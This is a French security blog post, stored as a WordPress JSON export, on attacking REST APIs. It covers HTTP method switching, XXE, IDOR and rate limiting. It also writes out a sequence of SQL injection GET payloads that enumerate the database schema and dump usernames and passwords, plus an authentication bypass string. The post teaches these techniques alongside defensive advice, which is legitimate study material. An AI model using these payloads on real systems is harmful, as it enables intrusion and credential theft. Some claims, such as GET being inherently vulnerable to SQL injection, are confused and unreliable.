{"id":1073,"date":"2023-04-22T10:16:14","date_gmt":"2023-04-22T15:16:14","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=1073"},"modified":"2023-04-22T10:16:16","modified_gmt":"2023-04-22T15:16:16","slug":"comment-attaquer-les-api-rest","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/","title":{"rendered":"Comment Attaquer les API rest"},"content":{"rendered":"\n<p> Une application utilisant une API REST est une application qui utilise un protocole de communication bas\u00e9 sur HTTP pour acc\u00e9der \u00e0 des services web et \u00e9changer des donn\u00e9es avec d&#8217;autres applications ou services. REST (Representational State Transfer) est un style d&#8217;architecture logicielle qui permet \u00e0 diff\u00e9rentes applications de communiquer entre elles en utilisant un ensemble standardis\u00e9 de m\u00e9thodes HTTP (GET, POST, PUT, DELETE, etc.) pour acc\u00e9der \u00e0 des ressources et manipuler des donn\u00e9es. Les API REST sont de plus en plus courantes dans le d\u00e9veloppement d&#8217;applications modernes, car elles offrent une grande flexibilit\u00e9 et permettent une int\u00e9gration facile avec d&#8217;autres applications et services.<\/p>\n\n\n\n<p><a href=\"http:\/\/www.ics.uci.edu\/~fielding\/pubs\/dissertation\/fielding_dissertation.pdf\">Les principes d&#8217;une application utilisant la structure API rest<\/a> ont \u00e9t\u00e9 d\u00e9crits par Roy Fielding dans ce texte.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">M\u00e9thode utilis\u00e9e par les serveurs<\/h2>\n\n\n\n<ul>\n<li>GET<\/li>\n\n\n\n<li>POST<\/li>\n\n\n\n<li>PUT<\/li>\n\n\n\n<li>PATCH<\/li>\n\n\n\n<li>DELETE<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Implication possible d&#8217;un changement de m\u00e9thode HTTP<\/h2>\n\n\n\n<p>Lorsqu&#8217;une application PHP utilise une API REST pour communiquer avec d&#8217;autres services, le choix de la m\u00e9thode HTTP peut avoir une incidence sur la s\u00e9curit\u00e9 de l&#8217;application. Par exemple, l&#8217;utilisation de la m\u00e9thode GET pour les op\u00e9rations de modification de donn\u00e9es expose l&#8217;application \u00e0 des attaques telles que l&#8217;injection de commande SQL ou le vol de donn\u00e9es.<\/p>\n\n\n\n<p>Voici un exemple de code pour illustrer cela. Supposons que nous avons une application PHP qui communique avec une API REST pour obtenir les informations de profil d&#8217;un utilisateur \u00e0 partir de son identifiant:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"651\" height=\"152\" src=\"https:\/\/www.searchevolution.com\/security\/wp-content\/uploads\/2023\/04\/get_code.png\" alt=\"\" class=\"wp-image-1163\"\/><\/figure>\n\n\n\n<p>Dans cet exemple, nous utilisons la m\u00e9thode GET pour r\u00e9cup\u00e9rer les informations de profil de l&#8217;utilisateur \u00e0 partir de l&#8217;API REST. Cependant, cette m\u00e9thode est vuln\u00e9rable aux attaques de type injection de commande SQL ou cross-site scripting (XSS), car l&#8217;identifiant de l&#8217;utilisateur est r\u00e9cup\u00e9r\u00e9 directement \u00e0 partir de la requ\u00eate GET et peut \u00eatre modifi\u00e9 par un attaquant malveillant.<\/p>\n\n\n\n<p>Pour rendre cette requ\u00eate plus s\u00fbre, nous pourrions utiliser la m\u00e9thode POST ou PUT pour envoyer l&#8217;identifiant de l&#8217;utilisateur dans le corps de la requ\u00eate plut\u00f4t que dans l&#8217;URL:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"653\" height=\"440\" src=\"https:\/\/www.searchevolution.com\/security\/wp-content\/uploads\/2023\/04\/post_code.png\" alt=\"\" class=\"wp-image-1164\"\/><\/figure>\n\n\n\n<p>Dans cet exemple, nous utilisons la m\u00e9thode POST pour envoyer l&#8217;identifiant de l&#8217;utilisateur dans le corps de la requ\u00eate, ce qui permet de valider et de filtrer les donn\u00e9es avant de les envoyer \u00e0 l&#8217;API REST, ce qui renforce la s\u00e9curit\u00e9 de l&#8217;application.<\/p>\n\n\n\n<p><strong>Vous pouvez donc essayer de modifier comment la requ\u00eate est envoy\u00e9e au serveur. Possiblement qu&#8217;un code diff\u00e9rent sera ex\u00e9cut\u00e9 (possibilit\u00e9 d&#8217;une faille)<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Types de m\u00e9dias<\/h2>\n\n\n\n<p>Les diff\u00e9rents types de m\u00e9dias. Les requ\u00eates ou les r\u00e9sultats sont form\u00e9s de cette fa\u00e7on. <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc8259\">JSON<\/a> et <a href=\"https:\/\/www.w3.org\/XML\/\">XML<\/a> sont les plus utilis\u00e9s<\/p>\n\n\n\n<ul>\n<li>Application\/json<\/li>\n\n\n\n<li>Application\/xml<\/li>\n<\/ul>\n\n\n\n<p>Vous pouvez essayer de modifier le fromat des donn\u00e9es envoy\u00e9 au serveur. (param\u00e8tre format dans une requ\u00eate get, ent\u00eate http Content-Type)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Les codes de r\u00e9sultat retourn\u00e9s par un serveur.<\/h2>\n\n\n\n<p>Vous pouvez avoir la liste <a href=\"https:\/\/www.searchevolution.com\/security\/2022\/11\/07\/codes-de-statut-http\/\">compl\u00e8te des codes HTTP<\/a> ici<\/p>\n\n\n\n<ul>\n<li>2XX<\/li>\n\n\n\n<li>3XX<\/li>\n\n\n\n<li>4XX<\/li>\n\n\n\n<li>5XX<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">M\u00e9thode par vuln\u00e9rabilit\u00e9 XXE (Application\/xml)<\/h2>\n\n\n\n<p> voir mon article XXE &#8211; Si XML est utilis\u00e9 par le serveur. <a href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/01\/vulnerabilite-xxe\/\">D\u00e9ficience dans le traitement du XML<\/a> <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Insecure Direct Object References (IDOR) dans un API rest.<\/h2>\n\n\n\n<p>La vuln\u00e9rabilit\u00e9 IDOR (Insecure Direct Object Reference) est une faille de s\u00e9curit\u00e9 courante qui se produit lorsque les identifiants d&#8217;objet, tels que les identifiants de base de donn\u00e9es, sont expos\u00e9s dans les entr\u00e9es utilisateur et ne sont pas correctement v\u00e9rifi\u00e9s ou filtr\u00e9s par l&#8217;application Web.<\/p>\n\n\n\n<p>L&#8217;exploitation de cette vuln\u00e9rabilit\u00e9 permet \u00e0 un attaquant de contourner les contr\u00f4les d&#8217;acc\u00e8s et d&#8217;acc\u00e9der \u00e0 des ressources ou des informations qui ne lui sont pas autoris\u00e9es. Par exemple, si un identifiant de compte utilisateur est expos\u00e9 dans une URL et qu&#8217;il n&#8217;est pas v\u00e9rifi\u00e9, un attaquant peut acc\u00e9der aux informations du compte de l&#8217;utilisateur sans autorisation.<\/p>\n\n\n\n<p>Pour pr\u00e9venir l&#8217;exploitation de cette vuln\u00e9rabilit\u00e9, il est recommand\u00e9 de limiter l&#8217;acc\u00e8s direct aux objets de donn\u00e9es, en utilisant des contr\u00f4les d&#8217;acc\u00e8s stricts et en utilisant des m\u00e9thodes d&#8217;authentification et d&#8217;autorisation solides. Les entr\u00e9es utilisateur doivent \u00e9galement \u00eatre valid\u00e9es et filtr\u00e9es correctement pour \u00e9viter toute injection de code malveillant.<\/p>\n\n\n\n<p>Les d\u00e9veloppeurs peuvent \u00e9galement utiliser des techniques telles que l&#8217;obscurcissement des identifiants d&#8217;objet et l&#8217;utilisation de jetons d&#8217;autorisation pour renforcer la s\u00e9curit\u00e9 de leur application Web.<\/p>\n\n\n\n<p>En conclusion, la vuln\u00e9rabilit\u00e9 IDOR est une faille de s\u00e9curit\u00e9 courante qui peut permettre \u00e0 un attaquant d&#8217;acc\u00e9der \u00e0 des ressources ou des informations non autoris\u00e9es. Pour se prot\u00e9ger contre cette vuln\u00e9rabilit\u00e9, il est recommand\u00e9 de limiter l&#8217;acc\u00e8s direct aux objets de donn\u00e9es, de mettre en place des contr\u00f4les d&#8217;acc\u00e8s solides et de valider correctement les entr\u00e9es utilisateur.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exemple de vuln\u00e9rabilit\u00e9 IDOR dans un API rest<\/h2>\n\n\n\n<p>Supposons qu&#8217;une application Web permet aux utilisateurs d&#8217;acc\u00e9der \u00e0 des informations confidentielles en saisissant un identifiant de compte utilisateur. Le lien pour acc\u00e9der \u00e0 ces informations est de la forme suivante :<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/account?id=12345\">https:\/\/example.com\/account?id=12345<\/a><\/p>\n\n\n\n<p>Dans ce cas, l&#8217;identifiant de compte utilisateur est directement expos\u00e9 dans l&#8217;URL et peut \u00eatre facilement modifi\u00e9 par un attaquant pour acc\u00e9der \u00e0 d&#8217;autres comptes utilisateur.<\/p>\n\n\n\n<p>Supposons maintenant qu&#8217;un attaquant modifie simplement l&#8217;identifiant de compte dans l&#8217;URL pour acc\u00e9der aux informations d&#8217;un autre utilisateur. Par exemple, si l&#8217;identifiant de compte de l&#8217;utilisateur est 12345, l&#8217;attaquant peut acc\u00e9der aux informations d&#8217;un autre utilisateur en modifiant simplement l&#8217;identifiant dans l&#8217;URL, comme suit :<\/p>\n\n\n\n<p><a href=\"https:\/\/example.com\/account?id=54321\">https:\/\/example.com\/account?id=54321<\/a><\/p>\n\n\n\n<p>Si l&#8217;application Web ne v\u00e9rifie pas l&#8217;autorisation de l&#8217;utilisateur \u00e0 acc\u00e9der aux informations du compte sp\u00e9cifi\u00e9, l&#8217;attaquant peut acc\u00e9der aux informations confidentielles d&#8217;autres utilisateurs en exploitant cette vuln\u00e9rabilit\u00e9 IDOR.<\/p>\n\n\n\n<p>Pour \u00e9viter cette vuln\u00e9rabilit\u00e9, l&#8217;application Web doit mettre en place des contr\u00f4les d&#8217;acc\u00e8s stricts pour limiter l&#8217;acc\u00e8s direct aux objets de donn\u00e9es, ainsi que valider et filtrer correctement les entr\u00e9es utilisateur pour emp\u00eacher toute modification non autoris\u00e9e des identifiants de compte.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">M\u00e9thode par injection SQL dans un API rest<\/h2>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=invalid_token&#8217;+or+&#8217;1&#8217;=&#8217;1 <\/p>\n\n\n\n<p>d\u00e9terminer le nombre de colonnes de la tables <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=invalid_token&#8217;+order+by+6&#8211;+ extraire les donn\u00e9es <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=432847328947&#8242; union+select+1,database(),3,4,5&#8211;+ <\/p>\n\n\n\n<p>autres fonctions: version() <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=432432432&#8242; union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables&#8211;+ HTTP\/1.1 <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=432432432&#8242; union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()&#8211;+ HTTP\/1.1 <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=438247432&#8242; union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name=&#8217;user&#8217;+and+table_scheme=database()&#8211;+ HTTP\/1.1 <\/p>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;token=45345345&#8242; union+select+1,group_concat(username,0x3a,password),3,4,5+from+user&#8211;+ HTTP\/1.1 <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u00c9viter les injections SQL en php<\/h2>\n\n\n\n<p>utiliser des PREPARED Statement en PHP pour \u00e9viter les injections SQL les param\u00e8tres pass\u00e9s par GET ne sont pas s\u00e9curitaires, car ils sont enregistr\u00e9s dans les logs du serveur et dans l&#8217;historique des pages visit\u00e9es des navigateurs <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Faiblesse dans la g\u00e9n\u00e9ration des tokens<\/h2>\n\n\n\n<p>S&#8217;il est possible de g\u00e9n\u00e9rer un token d&#8217;identification, alors on peut usurper l&#8217;identit\u00e9 de quelqu&#8217;un d&#8217;autre<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">M\u00e9canisme d&#8217;authentification probl\u00e9matique<\/h2>\n\n\n\n<p>GET \/v1\/users.php?format=json&amp;username=test&#8217;+or+&#8217;1&#8217;=&#8217;1&#8242;&#8211;+&amp;password=test<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Probl\u00e8me avec la limitation du nombre de requ\u00eates par seconde de l&#8217;API<\/h2>\n\n\n\n<p>Cela peut entra\u00eener une attaque par d\u00e9fini ou encore par force brute pour trouver des mots de passe. L&#8217;Implantation des capchas est recommand\u00e9 ainsi que le blocage du compte apr\u00e8s un nombre trop grand d&#8217;essais. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Attaque par force brute : utilisation de la fonction &#8220;intruder&#8221; dans BURP<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">R\u00e9sum\u00e9<\/h2>\n\n\n\n<p>Changer GET par d&#8217;autres m\u00e9thodes HTTP (DELETE, POST, etc&#8230;) <\/p>\n\n\n\n<p>Quand l&#8217;application utiliste JSON, essayer de changer les donn\u00e9es en XML et de mettre \u00e0 jour l&#8217;ent\u00eate content-type<\/p>\n\n\n\n<p>application\/json -> application\/xml (par la suite, voir la partie sur les vuln\u00e9rabilit\u00e9s XXE ci-haut)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">API Security Project<\/h2>\n\n\n\n<p><\/p>\n\n\n\n<p>https:\/\/www.owasp.org\/index.php\/OWASP_API_Security_Project<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Une application utilisant une API REST est une application qui utilise un protocole de communication bas\u00e9 sur HTTP pour acc\u00e9der \u00e0 des services web et \u00e9changer des donn\u00e9es avec d&#8217;autres applications ou services. REST (Representational State Transfer) est un style d&#8217;architecture logicielle qui permet \u00e0 diff\u00e9rentes applications de communiquer entre elles en utilisant un ensemble standardis\u00e9 de m\u00e9thodes HTTP (GET, POST, PUT, DELETE, etc.) pour acc\u00e9der \u00e0 des ressources et manipuler des donn\u00e9es. Les API REST sont de plus en plus courantes dans le d\u00e9veloppement d&#8217;applications modernes, car elles offrent une grande flexibilit\u00e9 et permettent une int\u00e9gration facile avec d&#8217;autres <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Comment Attaquer les API rest - S\u00e9curiser votre site<\/title>\n<meta name=\"description\" content=\"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d&#039;une application de type API rest (XXE, idor, injection SQL et +)\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Comment Attaquer les API rest - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d&#039;une application de type API rest (XXE, idor, injection SQL et +)\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2023-04-22T15:16:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-04-22T15:16:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.searchevolution.com\/security\/wp-content\/uploads\/2023\/04\/get_code.png\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/\",\"name\":\"Comment Attaquer les API rest - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2023-04-22T15:16:14+00:00\",\"dateModified\":\"2023-04-22T15:16:16+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"description\":\"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d'une application de type API rest (XXE, idor, injection SQL et +)\",\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Comment Attaquer les API rest\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Comment Attaquer les API rest - S\u00e9curiser votre site","description":"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d'une application de type API rest (XXE, idor, injection SQL et +)","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/","og_locale":"fr_CA","og_type":"article","og_title":"Comment Attaquer les API rest - S\u00e9curiser votre site","og_description":"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d'une application de type API rest (XXE, idor, injection SQL et +)","og_url":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2023-04-22T15:16:14+00:00","article_modified_time":"2023-04-22T15:16:16+00:00","og_image":[{"url":"https:\/\/www.searchevolution.com\/security\/wp-content\/uploads\/2023\/04\/get_code.png"}],"author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/","url":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/","name":"Comment Attaquer les API rest - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2023-04-22T15:16:14+00:00","dateModified":"2023-04-22T15:16:16+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"description":"Plusieurs m\u00e9thodes sont pr\u00e9sent\u00e9es pour v\u00e9rifier les vuln\u00e9rabilit\u00e9s d'une application de type API rest (XXE, idor, injection SQL et +)","breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2023\/04\/22\/comment-attaquer-les-api-rest\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Comment Attaquer les API rest"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/1073"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=1073"}],"version-history":[{"count":13,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/1073\/revisions"}],"predecessor-version":[{"id":1167,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/1073\/revisions\/1167"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=1073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=1073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=1073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}